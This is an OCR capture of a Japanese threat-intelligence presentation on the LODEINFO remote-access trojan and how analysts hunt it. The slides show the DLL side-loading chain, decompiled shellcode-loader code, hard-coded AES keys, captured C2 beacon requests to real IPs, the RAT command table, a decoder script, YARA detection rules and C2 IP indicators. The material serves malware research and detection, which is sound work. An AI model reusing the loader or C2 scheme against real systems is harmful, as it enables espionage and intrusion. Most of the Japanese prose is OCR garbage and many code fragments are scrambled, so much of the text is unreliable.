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LODEINFO D#fZ

s HEANOEMWBEKETHER=NS 7 71 )LL ARAT
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o AET7 T4 v YT A=VIERHEEND TR TERE
o 2019FRH SMkFEANICT v TT— b
o YILY T 7RFICHFEET B/\— 3 VIGHRHIEEICENR

o C2H—/\ZHZXKICIP Geolocationh'3 % VPS, _ .

Hosting service (c3Z T 2fE&M (Vultr, CHOOPA, LINODE)

==

m AYNTz7ZEHALEARL—Y 3 VYDBERIC WS EWVWSERHZ N
o WBEICERINEZTILD 7 (bisonal 7 &) & DFEMUE (version 1B DIBHIAH)
o TITPs OfELUE (Spear-Phishing, DLL Side-Loading)

strcpy(v1le, "ve.1.2");
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v0.1.2 v0.2.7 v0.3.5 v0.4.6 v0.4.9 v0.5.6
m LODEINFO m C2BED Erm IV VR B ransom, = mv, cp, m autorun,
TILITTD F—% BN, =i keylog mkdir comc IY VR
&R 7A—<X v bk OV RoD OV > KB, BN, B
% —URAEE B fansom, BepesEsE EE _
m Rundll32.exe AP keylog @ _ = m config
Z R LT v0.3.2 ATV RS " ps, pkill AV Y R
LOLBAS T T \ BEhdh ANV REm, B (REE)
DLL %317 m pgrj;nt v K MBI R R m OYY RO
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LODEINFO DRk#/R1T77 A—

m BV /70%ZEFTRICNKOY TSNS DOC |
DLL Z RunDII32.exe 5317 (LOLBAS)
NuE% R1T
s LODEPNG EWSHA—FYY —2D ’ l \
d—ROHICEEIDI—REZEHAALTEILR
o https://github.com/Ilvandeve/lodepng DLL _ EXE |
db @:E%t = OJ Debug Artifacts
? pdb PREEAE i T e o o LODEINFO l RunDII32.exe

ATV

m Shellcode I¥KE 1byte ZFIRA UL
Single Byte XOR TlEE{ltEenTW5

o IRED shellcode DEBEF{ELFEICE(LZL

svchost.exe
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C2EEDT—F 77—~ vk

Header 249> & Main Data 9% F#NEFNEEDOT—7 74— v N TER L.
H R4 sBase64TILY— R U TEE, SHA-512/128 THEE U A DBED % IREE

Customized Base64 Encode Customized Base64 Encode

Raw
data Payload
size

AES Key Data AES Key
SHAbB12/128 size SHAbB12/384

B 0x00 16 AESF—®DSHA512MD %58 16byte
Header _ 0x10 4 A VF—5EBH%Ebaseb4Ty A— R U+ X
N Ox14 1 N/A
0x15 48 ~+ O— RDRaw Data®SHAS5 12D %:5848byte
0x45 4 RAA—ROYA X
0x49 AR R4O—RK
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C2BEDT—H 7A=Y

Header 249> & Main Data 9% F#NEFNEEDOT—7 74— v N TER L.
H R4 sBase64TILY— R U TEE, SHA-512/128 THEE U A DBED % IREE

XBESND Raw Data => QuickLZ E# => AES256 (CBC) DIETF—4 &I
F— 5zt

[esp+468h+AES_key], OC6F6OEE2h
[esp+468h+var_42C], ©A28D836Ah

[esp+468h+var_428], 0B11D8222h
AES O)KEY(\: |V(Ij: [esp+468h+var 424]: 517277C5h

[esp+468h+var_420], OD1D5A9F1h

1‘%17-': Z\ t L: ﬁ@ﬂﬁbi\ [esp+468h+var‘:4lc], ©CE44234Dh
[esp+468h+var_418], 3B358AD6h
Header — Hardcode i T\ 5 [esp+468h+var_414], SA4CACFCh

[esp+468h+AES_iv], ©ADAB45CCh
[esp+468h+var_40C], 612C1558h
[esp+468h+var_408], 3657F156h
[esp+468h+var_404], OF353CC7Eh

0x49 AIZER R14O—NK
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Beacon E{ETF—Y DYVl

for (i =0; i < buf_len; ++i )
Content-Type: application/x-www—form-urlencoded {
User-Agent: Mozilla/5.@ (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like 5 = e LesGE, SiErlal;
Gecko) Chrome/77.0.3865.90 Safari/537.36 Qe s
Host: 193.228.52.57 case '+':
Content-Length: 193 aa_base64_str[i]
Connection: Keep-Alive break;

Cache—Control: no-cache Header J;(B%Lil\/lain Data ca:z k‘)g;;“ i)

data=DIajqccs LVudp)wyr3bmsaAAAADivMavxkoPuSRsvmRaihpE2hKkIbAI6LW53Z7SoHLegOX5 LrMpKIQgnb-— break;
Kum\,z03x6QAAAATUEWO15Gj xoLaUgbTz0s3AeIFQchz4w3IATK7COXONKWQ5BI1boYej YVocL2K1ZT— e
pVWA\Q-52ui4e0dQS1yer_ud.HTTP/1.0 200 OK aa_base64_str[i]

break;
AN MOV [esp+460h+var 3BC], 'atad’ POST /ST X =5 &1& )
mov [esp+460h+var 3B8], '=' 7@17_|:|7an Hardcode 3XZFEND @g{% L7

X5 L\ Baseb4

Payload DX =
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RAT OvYKR—E

eax, [ebp+cmd_command]

dword ptr [ebp+cmd command], 'mmoc'’
eax |
eax, [ebp+var_40]

dword ptr [ebp+cmd_command+4], ‘'dna
eax

ecx, ebx

[ebp+cmd 1s], 'sl°

[ebp+cmd_send], ‘'dnes’
[ebp+var_68], ©

[ebp+cmd_recv], ‘vcer'
[ebp+var_70], ©

dword ptr [ebp+cmd _memory], ‘omem'’
dword ptr [ebp+cmd _memory+4], ‘yr'
[ebp+cmd_kill], '11ik’
[ebp+var_80], ©

[ebp+cmd_cat], 'tac'

[ebp+cmd_cd], 'dc’

[ebp+cmd _ver], 'rev’

cmd_cmp

al, al

loc 32A045F

vk
MZ PE7 71 ILZE1T
OxE9Q shellcode %317
command FIFAgERIONYY R—8B%ZiIRYT
cd ALYRTa LI KMNYDEE
s 771I—8&
send J77AIILDTOO—R
recv C2 D7 7 A JLE(E
cat C2A\D T 71 ILDEE
memory svchost N )L d—RZzA4>I U~
kill EELLL7OERADEL
ver IN— 3 VIBHRDE(F
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C2BET—Y 74— NDZEL
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LODEINFOI$, AES&BASE64%ZMEHALETT—F DIESILET>TWETH, F—F%EBASES4T 1— R LIckDA 7y Mox45DAIEIC (&,

/A O)Ve rSIOn ‘Z\‘\T 9 7 7'. 7 \/ I\ 7:‘)\ /{B AESTRELENEF—5 0¥+ XNBHSNTVET,

m A—T2V=AMS5 v0.2T7 DY T )%
IRETE TV, R
AN CHERTE/z v0.3.2 LIETH
RO T A=Yy hEBR>TWSH
ELWBDEEDND

LTROEEIL> T HENCBAUIHTTP POSTU Y IR M OF— 8 %2 ES T3 1— RHAERCEELB< B> TSI, UTIRRGLI—
Ro—#pzEHLET
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C2EET—9 74—y hOEL

Main Data @ 1 byte XORDIES{LALIE & ZF DFEHEN
Customized Base64 Encode Customized Base64 Encode
ST =
RiESnd AES Key Data AES Key 2
- —Qﬁgﬂ SHA512/128 size SHA512/384
A7ty b 14X (byte)
Ox00 16 AESF+—DSHAST12MD5cEE 1 6byte
Header — Ox10 4 XA VT — 98N %baseb4TY A— R U4 X
— Ox14 1 N/A
Ox15 48 R4 O— KDSHA512D5cEE48byte
Ox4A AZR RA4AO—NR
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LODEINFO X177 O0—0D%E1t

m EUVYIONSIERODERAFMERITI7AILE
LODEINFO ®DDLL shellcode loaderz ~kOw 7 L.
DLL Side-Loading Z &R ICET

o FEOAPTZIL—THREL<AWS
BRAEE T DOELD AN

o 1ERETT 71 I)LOMDS:
1871402d3c83b2e15bf516d754458bd4

Signature info

Signature Verification J;{lz%\ IE_I/ \ \\/ \\/ 1 1@0)

© Signed file, valid signature

File Version Information g_é?i- 7 7 /r ) l/ {Ii
Date signed ~ 2019-08-18 23:34:00 UTC -|j- ,r |\“ D — |\“ 0) TC db ‘:
' FEICER S NS
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X515 3C2E/ET—9 74—V FOELL

Customized Base64 Encode Customized Base64 Encode
V056 Enc
o AES Key Data AES Key daté XOR
& D Hi SHA512/128 size SHA512/384 T3 Key
Customized Base64 Encode Customized Baseb64 Encode
v0.5.6
LIB& AES Key AES Key
SHA512/128 i SHA512/384

T—IBEIFZEDIRIC
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Beacon 7

Content-Type: application/x-www-form-urlencoded
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like ,
Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.86.59 Header 157':'5 [ $|J}Eﬁ -g— 5150

Contt::nt—L:eng:ch: 560 _ \ —
C tion: Keep-Ali ; ~ —
Cache-Controt: no-cacheJENRICEIolle L& |&Main Data EREICY Z—FT—HEM

7H1FTymxmYg=4Gv]j 7sWMOWo 1g@4pSzk6bzt7r5jYiwrh-wcguCciklzjFaKZcdzN1zWCU-|
ZHvzWVSdp5hoPlcAolg3ix_cOmB7MA75KdiPj4-|

PisQVwGMmM2GFXnVd8yBXy 18NXaI02hw2SivelC9mgHZMbNd6Sdme7QBBI4N1adtAnfbx@q7ALMmY8gEJSWcaktIia
uqdveapdEZSlSlQanPDbUK BkEROamY3q4CK7FE-72HAUREKOL7uW78qUiTBAFHTTP/1.0 200 OK-

1 sa A

0 4 F— Gt 2
4 4 FEI—FT—5DHAX
INE U 1 BBIE SR
OxT11 (R~ “% TIRFZIDUNIXTIMEIF5I|ANSIO—RK|MAC7Z KL X|
vEa1—54 * DR
T4 X + 27 F=
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Header DOIES{LLIE

Content-Type: application/x-www-form-urlencoded
User—-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/91.0.4472.114 Safari/537.36 Edg/91.0.86.59

Content-Length: 260
Connection: Keep-Alive )
Cache-Control: no-cache Header J«){Bﬁta"l\/laln Data
7H1FTymxmYg=4Gv]j 7sWMOWo 1g@4pSzk6bzt7r5jYiwrh-wcguCciklzjFaKZcdzN1zWCU-|
ZHvzVSdp5hoP1lcAolg3ix_cOmB7MA75KdiPj4-|

Pis Mm2GFXnVd8yBXy 18NXaI02hw2SivelC9mgHZMbNd6Sdme7QBBI4N1adtAnfbx0q7ALMmY8gEJSWcakt50
uqdveapdEZS181QWnvPDbUK_BKEROamY3q4CK7FE-72HAUREKOL7uW78qUiTBAFHTTP/1.0 200 OK

~_ P e_a__a I

x4 -

I

I Main Data DKE
I RS
!

POST I\ X—%IZERE U,
Ihn%E#EE U T Header 2R DOUIE CHRES1L

import sys

TABLE = b"abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"

def dec_header(key: str, b64data: str) —> str:
output: str = ""
for i, d in enumerate(b64data):
if TABLE.find(ord(d)) == -1:
output += d
continue
k: str = key[i % len(key)]
output += chr(TABLE[(TABLE.find(ord(d)) + TABLE.find(ord(k))) % 62])
return output

strcpy(v27, "NVAHDOeOVyL");
#{AEH C Hardcode

if _ _name__ == "_ main__":
print(dec_header(sys.argv[1], sys.argv[2]))

‘enc.py NV4HDOeOVyL uW78qUiTBAF

XFINDA Ty I RAER—RICLUTIBFRIES

X B5 A7 Y 7 KM&E Appendix D €8 % Github TAR
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RAT V> KIZ 2byte XOR D:EMN

BRAEAD IV Y RBAIOXFFNAVYY RS EICERS TRINENSLSEE

[esi+rat_struct.comm], 6

[esi+rat_struct.and],

[esi+rat_struct.ls],

[esi+rat_struct.rm],

[esi+rat_struct.mv],

[esi+rat_struct.cp],

[esi+rat_struct.cat],

[esi+rat_struct.mkdi], 6 "mke 6d ecx, [esi+rat_struct.comm]

[esi+rat_struct.r], 4E4Ch "r +E = ebx, eax

[esi+rat_struct.send], N Ox2c57 ©x646e6573 ecx. OC56
o — — J =

[esi+rat_struct.null], 2 )

a7 Y RXEFUEHHERS o], ecx
mov ecx, [esi+rat_struct.and]

mov ecx, 9
PR, [ebx+4], ecx
xXor |

65h

ecx, [ebp+arg_0]

OV Y RXFFILLEER D (Is) AN Y RXFF L EERD (command)
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RAT v RIC 2byte XOR MD:EMNN

BRADOIANY Y RBAIOXFINAN Y RS EICERS TRINENSLSEE

rule malware_lodeinfo_c2_cmd_xor_bruteforce
{

meta:

[esi+rat_struct.comm], 6D6DAAG6h ; "comm"
[esi+rat_struct.and], 64AB@4h ; "and" = ..
[esi+rat_struct.ls], 5A47h ; S Ox5A47
[esi+rat_struct.rm], 57B§h ; { Ox57b6
[esi+rat_struct.mv], 485EMN\; "mv" Ox485E
[esi+rat_struct.cp], 4302h Y = Ox4302 ™ 0x3361 = -
[esi+rat_struct.cat], 7440D3N\ ; "cat" = Ox7440D3 ~ ©x21BO
[esi+rat_struct.mkdi], 6964255 5 'mkdi" = 42553 N Ox4Lk_ $xor_o1
[esi+rat_struct.r], 4E4Ch ; " c & E3E = @x72 $xor_02
[esi+rat_struct.send], 646E4924h S 646E4924 ~ ©x2c57 $xor_03
[esi+rat_struct.null], 2C57h ; \xe@ <2c57 ~ @x2c57 4xor 04

description = "Rule to detect xored command in LODEINFOQ"
author = "JPCERT/CC Incident Response Group"
hash = "3fda6fd600b4892bdald28c1835811a139615db41c99a37747954dcccaebffbe"

strings:

72 64 [3-20] 73 64 62 77 [3-20] 6¢c 64 6¢ [3-20] 6a
71 67 [3-20] 70 67 61 74 [3-20] 6f 67 6f [3-20] 69
70 66 [3-20] 71 66 60 75 [3-20] 6e 66 6e [3-20] 68
77 61 [3-20] 76 61 67 72 [3-20] 69 61 69 [3-20] 6f
76 60 [3-20] 77 60 66 73 [3-20] 68 60 68 [3-20] 6e
75 63 [3-20] 74 63 65 70 [3-20] 6b 63 6b [3-20] 6d
74 62 [3-20] 75 62 64 71 [3-20] 6a 62 6a [3-20] 6c
7b 6d [3-20] 7a 6d 6b 7e [3-20] 65 6d 65 [3-20] 63
7a 6¢ [3-20] 7b 6¢c 6a 7f [3-20] 64 6c 64 [3-20] 62

$xor_05

17 Y R XEFRMERS g

. $xor_07
mov [esi+rat_stru $xor_08

mov eax $xor_09
xor 292Bh

ST— IV RBAERBELTRATWE
A g lled G VIRF v THRRADEL B3

B e e e

https://github.com/JPCERTCC/jpcert-yara/blob/main/other/lodeinfo.yara
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Y1L7AMDERED

m T A NXNEDEDIAAPC2Y —/NDIP Geolocationh5 %,
THD

m Py 7T ZEBRDIRUAGHSHERICER S NI T\
o 2022F L EHERS N DAL RS TH L

m TTPs OZ{LHEL L
0 V—ILICEBRIFOV I RF vy FEERT BHDIRH
i U CITb NI T\ 3

o SHEDIloC, /7‘*?72%0&&1_}%b’ciﬁﬁia‘%rﬁw‘mat\
CHDERBZHIRETETRVWAEELS
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m BHBICE > TERENRBERERD S 3FEANDX

o "LIR—hZFHRATELERW TEGL,
MHtL TZDEBREZHAL. ROBBLERTESLDICLIEL

o REWEZ—DODEE. LODEINFO ZFIHU KB X v I R—Y

m UHh U, BATIREDA VTV NEFIZEIRS Z & IZEEL WL
A=V —RADEHREZFHUTEROREZZREIS I EZHIET!!

B ATV RXRDERBEBRZzREAELTTED L
o SERABE NizloChH S Mk R R EDE
o LIN—KMZFED U TEARNLGRINOI Y 7 DIERK
o P74 7RBEBRBRNERSLUTHE
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ZRIREHRDUNEEIR

Twitter ANY.RUN & Hybrid Analysis VirusTotal
AT VI TV ADRNE BiESNnTWSiREZO T KERET—IN5 U T7ILY
®EIG, BIALVVEIRINE® WO HUYEESR. Yara rule 4 LD Yara rule/\> 7 «
FE—HROREWHEEICH A IN>T 4 T DENE DAZANE - 1 NO X AyBau Bl N

(FFIC 2000 MR E)
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Twitter TOEBREEREIR

Twitter A7 214 7V MNMIEZENT WD T, TweetDeck TH#EJ X k &
BICEWZWEF—T—REZEBE\WTER




VirusTotal O;&H

loC, LiR— k&% & IR % VirusTotalh 5 UNEE.
NIV T 7EMAE{TV Yara rule Z1ERL LU T Livehunt g~ IL O 7\ T4 VT

RULESETS

New Livehunt Ruleset Modification date desc Edit ~ Filter by ~ Sortby ~ Help ~

You have not created any rulesets yet

Learn more about YARA or get inspiration looking at some interesting RAT decoder rules .

|
https://www.virustotal.com/
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DLL OfF#EM S5

Yara rule {ERkIEAIE

SfsDII32.dll #1#& U = shellcode loader [&NERALIE (C

IDA View-A X B Pseudocode~A X
Src[4]
Src[5]

B Hex View-1 X B Structures X B Enums X & Imports X B Exports IDA View-A X B Pseudocode~A

*((

(

15 _ ml28i *)v8 - 1) = _mm

LOBYTE(Src[@])
sub, 19905E30((1nt)5r(),
(Ox1F4u);

(

¥
exec_shellcode = (_BYTE *)sub_1000137C
memmove (exec_shellcode &r‘aw shell(ode,
key exec_shellcode[©
for ( k ; k< 41

exec shellcode[k] =

x1415A) ;
1415Au);

hProv;
i

v1e = &exec
vil
do
{
v1i2
*vie++ = vi2
==V

shellcode[v7];
1A - v7;

D;

*(_WORD
v32[2]

/ make strin
do

ile ( vil );
Bpen_s((FILE **)&v21,
E (V21 )

“tualProtect” "GetErro

v0.3.5

ProcName[v15 + 8]
++v15;

viQ);
(void *)sub_10004FB9 (hP
__ free_base(v14);
9u);
(hProv,
((LPSTR)v14,
(v21);
((LPCSTR)V14);

while ( v15 <

v32[2]

v16 = aa_encrypt_string((_BYTE *)v33 + 3,

str_Kernel32 = aa_decode_string(vi16);

hModule = (str_Kernel32);

VirtualProtect (hModule, &ProcName[8]);

if ( ((int (__stdcall *)(_BYTE *, int))VirtualProtect)(exec_shellcode, ©x141°t
((void (*)(void))exec_shellcode)();

)s

"Kernel32"); "GetMenu

(exec_shellcode,

fopen_s((FILE **)&hProv, "GetEr

Al 1eae1ESA(), if ( hProv )

Loader SBMIIED THBDIZHEENRS ’6‘5 R
— RDEFBZEIRZTDHD THEFHFERD/IN—

% 1 byte XOR 2D T brute force 32FEHH2H. RAT Av >

\\
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X B Hex View-1

VIR TELWSFINFAE (K

EMN?

CRERBEENAD

B Structures < B Enums X @  Imports < B Exports

__m128i)xor_key_xmmword);
_xor_sil28(
*(

__m128i)xor_key_xmmword);

m128i *)&v8[&raw_shellcode_48 - (_UNKNOWN *)exec_shellcode - 64]

vle[raw_shellcode - exec_shellcode];

rMode", "rb");

rov - vi3

0, (BYTE *)via);

ItemInfol");

Ox ou, &flOldProtect);

u, @

((void (*)(void))exec_shellcode)();

rorMode"”, "rb");

)

REEDL 574 2 byte XOR ICEEEIND EXWIHTE R0




LIR— DS XDEBEHDEWN TTPs &9

m LODEINFO @ Loader (&
EROETITI7AILDT 7AILED |
£{7/CZH 5 Side-Loading &3 _i { ]

» BERSNIEROETY 71 e - [g)
ERINTVWEHDT2DDH o

n SfsDliSample.exe: 2020/05 ~ 2021/12 R “v'b
o K7SysMon.exe: 2022/03 ~ Gt K. O

https://www.machica.co.jp/business/security/
cyberespionage report 2021 6.pdf
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LIR—kDS5EDEENDGEWN TTPs 2R

'I j @ =H4. DLL Side-Loading
. MITRE Technique: Hijack Execution Flow

I oader ODANFNIEDEELD b e
BHIBERT7 71ILOEED @ <|: } -

» _[_\ i \\5 |
77_7'3 Eb\.ﬁ_t%%—_[ﬁ I 7'3\ %.ﬂ u,aénrm #éB% IOQ|
INRT]— RE X =R Decwpt [pe—|
(CECH myM 1.dll LODEINFO
» O-AF427(C) » 2-%- > [{TUyT > TMWIPA >
B
S—_

GFIUFRzip  K7SysMn1.  NRTOLFex
dll

https://www.machica.co.jp/business/security/
cyberespionage report 2021 6.pdf
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T 7AW KERTNADSO— RSN 5EHDIFE

(o

LPSTR CommandLineA; // ebx

DWORD CurrentProcessId; // eax

HANDLE MutexA; // edi

DWORD Type; // [esp+0h] [ebp-80h] BYREF
CHAR Name[260]; // [esp+4h] [ebp-7Ch] BYREF

e I A

m FROETI771ILD

—_— e I [e] ~

T 7 A I SETINADNSD

W 7J

:l o |\ gﬁﬁﬁgﬁq:*ﬁ Type = 0;
sub_401000( (DWORD)&Type) ;
if ( Type == 1 )

return 9;
CommandLineA = 0);
CurrentProcessId = ©)5;
(Name, "K7TS001%08x", CurrentProcessId);

MutexA = (0, 1, Name);

m K7SysMn1.dll @ side load Fic
FtA XN BB
) " B D H

2
3
4
5
6
7/
8
9
7]
dl
2
3
4
5
6
7/
8
9
7]
1l

Address Ordinal

DIlIRegisterServer 10006ACO 1

c s » DllUnregisterServer 10002940 2

StartSystemMonitor BEEH StartSystemMonitor 10005720 3
eXpOI"lZ table ‘:LZ\§E| DIIEntryPoint 100014D1  [main entry][
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File search modifiers I & 21&EiE

export tablelT "StartSystemMonitor” OEBEANFET D7 7 ILIE354 BT 4 HIFE

/N 90 days

2022-11-07

E | entity:file AND expoﬂs:StartSystequ&itorANDfs:90d+ % Help Q ™ §§§ @ Noah Foster 0
~
s ~
FILES 4/4
Q ~
~
~
@ ~ S Sortby ¥ Filter by ~ Export ¥ Tools ¥
[ = = = = e e e e Em e e mm Em Em Em Em = = e
| .
A F1CIBECFBDAI550786CBA8651A388D54107389844B31] entity: *ﬁ % 3'(\1'2"20) A7
[} C:\ProgramData\lolol.d1l (copy) I
. - * (==
) T | expo rts: PE Mexports|CEET 2EEZDIEE
D . JLIE =
F26FQDF288E6FOAB3A560C55EAE259FAE1ED@87AF86E' -FS . *)J EFR%I% E H%U)TEI IE
- ©® I
= e e T e e e
@ FA5CF@@30D5C6D390B7D3EACDIB4FA912760549F9436D0OF4B552B804181FA133
@ ®  C:\ProgramData\lolol.dll (copy) 30 /71 29.00 KB 2022-11-07
F\Trog ’ Py ' 06:37:38

pedll

1849CEEDOC58B58E6FA417DEFB7636D35801030CE30BOBEACSB6FO4634EB1440

Copyright © 2023 N.F.Laboratories Inc.

18:18:49




Yara rule fERgk &I\ T2 >0

Cheap 72JL—IL1EHY LODEINFO OBEMGERZ/\> T « > 7 BJEE|

Cl

&b
(O]
X

Ruleset editor

i Ruleset name
Livehunt YARA ruleset template

LODEINFO v0.5.9 and later detection ri
Learn more about writing Livehunt YARA rules at

https://support.virustotal.com/hc/en-us/articles/360001315437-Livehunt. :
Pr
Ruleset active ‘)

Livehunt allows you to match file report metadata in addition to binary contents.
A ruleset is a collection of one or more Livehunt rules. A ruleset containing 3

YARA rules will consume 3 Livehunt rule cre

R mdmenereneconEna ST oMz NS F—H HNIRE D
export table [T ”StartSystemMonitor” HY
BFEN57 71 )L%Z v0.5.9 LIED LODEINFO & & 9 %

import "pe"

rule lodeinfo_v059_later{
condition:
int16(0) == Ox5a4d and
pe.exports("StartSystemMonitor")
} Share this ruleset ®

Write here one email address per line.

Username or group Add

Copyright © 2023 N.F.Laboratories Inc.




>/

T 1

> VIRUSTOTAL

download artifact

submit artifact

-
cuckeo'y”

download artifact : -
Sandbox Client

MINI download artifact

request analysis L

IDA Client
A upload artifact

IDA (auto analysis)

API Gateway MinIO Client

fetch result

fetch result

—)

Client

send result

' => B => EROFHENL

k8s Cluster

comment

" GitHub

send note

fetch result

OpenCTI Client

Our Analysis Flow
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ATV I T ADERE

BEifETE 7Y X~ ODiER%Z OpenCTI ANEfE L.
MG REAE P AKRIET — Y 26 LI LB ITN TE DAL

oo
Qo

(0]

LODEINFO TLP:AMBER
v0.6.2(31c87d9a84c7996a56024c9378...

= &8 O

INTERNAL-REPORT

January 5, 2023 at 12:00:00 AM

A
e
b
(]
m

&

January 5, 2023 at 2:18:27 PM

January 5, 2023 at 12:00:00 AM

January 5, 2023 at 4:27:56 PM

report--56ac671a-06db-5013-a2ad-3b52.. |E]
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ATV I T ADERE

BEifETE 7Y X~ ODiER%Z OpenCTI ANEfE L.
MG REAE P AKRIET — Y 26 LI LB ITN TE DAL

oo
Qo

LODEINFO
v0.6.2(31c87d9a84c7996a56024c9378...

&
(o}
8
i

INTERNAL-REPORT

January 5, 2023 at 12:00:00 AM

B B X © B

&

January 5, 2023 at 4:27:56 PM

report--56ac671a-06db-5013-a2ad-3b52.. |E]
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Hybrid Analysis D;&F

VirusTotal %< TH. BEIL—ILDOBERIEEEEZNER/I\> T« > T HVAJEE

?,ANALYS‘IS ©- B- [ ®- @Requestinfo-

Advanced Search (YARA)

1 import "pe"

Search Results from MalQuery

2
3+ rule lodeinfo_v059_later{ Search Data Search Results Verdict Malware Found Last Seen
4~ condition:

S 0pen S 0pen m 5m 01-01-1970 (UTC) Tip: help grow the community results via API submissions.

5 int16(@) == 0x5a4d and
6 ;Zfexpor‘ts("S:agtSy::emMonitor") Ya ra rule
7

} ¥ =R

5 Multi-Process [ Extracted Files 3R Sample not shared

earch results from HA Community Files e P Prow———

® Download all Contacted Hosts (CSV) | £\

® Download all Local File Hashes (CSV) | @ Download all DNS Requests (CSV) Copy hashes | @ Selectall

~ Timestamp Details

Minimum file November 10th 2022 08:59:30 (UTC) Input  bounty-93246027575579651 © sample (29KiB)

ex.10000, 1,

April 30th 2022 22:20:13 (UTC) Input  file ® Sample (208KiB)
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
5738bf7b27c61c1421b08be98143ab3bc32b779a45d5350f40f689bf268489ed

Maximum file

Threat level
AV Detection: 69% Zusy.Generic

Summary

ex.10000, 1,

Environment i
Action [

April 25th 2022 04:29:20 (UTC) Input ~ file ® Sample (213KiB)
PE32 executable (DLL) (GUI) Intel 80386, for MS Windows

40a650488e94455b181716efba43f082e891elc6e45d3fle5ab827de319276c9

| consent to the Terms & Conditions and Data Protection Pg

Q  Hunt Samples

https://www.hybrid-analysis.com/yara-search

Threat level

Summary AV Detection: 67% Zusy.Generic

Environment i
Action (]
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ANY.RUN D;EH

ANY.RUN [FEEHlR IR REHFDIBE L RAEDT U Y O— RN TE B2, W AR

(D OBJECT
BFENERES LS DD ZHATE 256055 (ZH) T

Japan

— i 4, VERDICT
55?—_]_ & /r 7 [ Malicious, Suspicious

# Tag

S CONTEXT
Q File hash

Q Domain
Q /P address

Q MITRE ATT&CK™ technique ID

Basnic

PE EXE, PE DLL, Microsoft Office, Archive files ~ ~
Q Suricata SID

PE EXE
PEDLL @ DATE

NEVE]
From

4, VERDICT

Malicious, Suspicious

HTML Documents

Adobe Flash e

Adobe PDF

Malicious Microsoft Office
.. Scripts
Sl EHHE J774IWNT1 7

No threats detected

Archive files

https://app.any.run
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https://app.any.run/

ANY.RUN D;EH

Y FILTER
Public submissions [ OBJECT

[ @ INETELR 4 Q Type hash or tag to search Q Hash

Windows 7 Professional 32bit RIS SDC SR S ) muo: ILJ DUBAZGY IE4IS/H .
... 17 August 2022,11:39 PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows SHAT: [©) 2AFFF3E76E30 File

Sl ) (ERERLR PE EXE, PE DLL, Microsoft Office, Archive files
Malicious activity 1.zip MDS5: [©) B32735C4F4C1B

Windows 7 Professional 32bit i i
.... 16 August 2022, 23:32 Zip archive data, at least v2.0 to extract SHAT: [) Co4986F8270D2
)

SHA256: [[) 32FE5571B2009

NETED

. . . Suspicious activity 1.zip MD5: B32735C4F4C1B 4 VERDICT
Ny Windows 7 Professional 32bit Zip archive data, at least v2.0 to extract -

Ay 16 August 2022, 23:31 g SHA1: ) Co4980F8270D2

Malicious, Suspicious
SHA256: [[) 32FE5571B2009

# Tag

i i i Malicious activity K7SysMn1.dll MDS:  [F) AB220A76C2FE3
Windows 7 Professional 32bit ;
.... 16 August 2022, 23:26 PE32 executable (DLL) (GUI) Intel 80386, for MS Windows T (D OETEEEE

SHA256: [[) ASCE5A179ECS56 g CONTEXT
Q File hash
Q Domain
RUN Ici&f8 & /= LODEINFO
ANY.RUN [Z¥fmEhilc
Q MITRE ATT&CK™ technique ID

Q Suricata SID

&3 DATE

From

To
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ANY.RUN D;EH

Insert  Pagelayout  References  Mailings  Review

WBAEA BodyAs - 11 - AT AT Aa-

Public submissions ; , =

0 Japan %

#aBbCcDdl | Aabl I AaBbC
T Normal | TNo .. Heading 1

ag :ﬂgl‘f:;:ss‘z%l‘;{e‘ls:ig;al 32bit S ;:E;Z. :);::u‘;able (console) Intel 8038 -

K7SysMon Module has stopped working

Windows is checking for a solution to the problem. .
Malicious activity 1.zip

My Windows 7 Professional 32bit Zip archive data, at ie..

By 16 August 2022, 23:32

“ Windows 7 Professional 32bit SEIERBEET ;Ipz :::chlve data, at least v2.0 to extract
Ay 16 August 2022, 23:31

i ; - Malicious activi K7SysMn1.dll
.... %Towszzzrngezsglggal 32bit J PE32 executable (DLL) (GU!) Intel 80386, for MS Windows
ugus N3

ANY.RUN [c#fant L( - M=

A9V—=>o3y hTHTIAMT 7LD
ERSZRUNSIEHTES
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20225 IED
TTPs®DZE{t
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2022F DA L71> LMER

m |nitial Access DFE, EMNEI Y —ICKERBZELIZHU
o A7 Taqwv :/\/7\\)(_)1/‘1:7)1/'7IT%//J\\'T—J-
o X747, ZLREOET Y —IINT IHEEMEL THESR

m DLL Side-Loading ICERISIERDETI 7 ILZEE
o WIFEFEFERLET 2 “SfsDIISample.exe” h'5 “K7SysMon.exe”

m LODEINFONI Dz 7DAX Y RD—ERE ICDWTIEE (AR ST

v0.6.5
v0.6.3

https://www.macnica.co.jp/b
usiness/security/cyberespion

age report 2021 6.pdf
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C2H—INDKRAT 1 >V EER

Vultr, CHOOPA, LINODE R EDRR T« 7 —ERXZFIA

n VISRV FvDERICELIREU
O
o IP Geolocation & #ik#E L T Japan H'% L

45.77.28[]1124 v0.5.9, v0.6.2 Oi, Saitama, Japan

172.105.223[.]216 v0.6.2, v0.6.5 Tokyo, Tokyo, Japan
202.182.108[.]127 v0.6.2, v0.6.5 Oi, Saitama, Japan

103.175.16[.]139 v0.6.3 Mondoze Kuala Lumpur, Kuala Lumpur, Malaysia
58.95[]174 v0.6.3 G-Core Labs S.A. Urayasu, Tokyo, Japan
172.104.112[.]218 v0.6.5 Oi, Saitama, Japan
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APl hash ZJLTU X LOZEE(2022/3)

APl hashing ZJL3dV X L% JSHash R—=ZXDF7ILTJY XL + XOR ANZEE

v0.5.9 & DH] v0.5.9 LIf#

Fvs) lunsigned int _ thiscall shr27Shl15JSHash(char *this)
v6 = (char *)v4 + v5;
v7 = (unsigned __int8 *)v4 + *(unsigned int *)((char *)&v4[1].Blink + v5)|
v33 = (struct _LIST_ENTRY **)((char *)&v4->Flink + v5);
v8 = 0;
for (i = *v7;

*v7;

v8 = (((v12 >> 1) ~ (Ox82F63B78 * (v12 & 1))) >> 1) ~ (Ox82F63B78

* (((unsigned

unsigned int i; // eax
int v3; // esi
int v4; // edi

for ( i = Ox4E67C6A7; ; i = v4 ~ (i >> 27) ~ (32 * i) )

v3 *this++;
v3 + 32;
(unsigned int)(v3 - 65) > @x19 )
= v3;
if ( lva )
break;

